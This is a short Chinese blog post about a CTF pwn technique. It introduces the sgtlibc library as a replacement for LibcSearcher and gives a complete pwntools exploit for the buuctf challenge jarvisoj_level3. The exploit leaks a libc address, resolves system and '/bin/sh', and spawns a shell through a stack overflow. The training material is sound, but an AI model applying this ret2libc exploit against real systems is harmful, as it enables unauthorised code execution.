pwn——使用sgtlibc代替LibcSearcher获取libc版本

安装sgtlibc

pip install sgtlibc

注意要用python3下载

初次尝试

使用方法也是比较简单
用的例子是buuctf上的jarvisoj_level3
直接上exp

from pwn import *
import sgtlibc
context.log_level = 'debug'
p = process('./level3')
#p = remote('node4.buuoj.cn', '28229')
elf = ELF('./level3')

offset = 0x88 + 0x4
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload1 = offset * b'a' + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4) 
p.sendlineafter('Input:\n', payload1)
write = u32(p.recv(4))
print(hex(write))

s = sgtlibc.Searcher()
s.add_condition('write',write)
s.dump(db_index=0)  # search libc , if returns multi-result ,default use index-0's result
system = s.get_address(sgtlibc.s_system)
binsh = s.get_address(sgtlibc.s_binsh)

payload2 = offset * b'a' + p32(system) + b'aaaa' +p32(binsh)

p.sendlineafter('Input:\n', payload2)
p.interactive()

执行结果

项目地址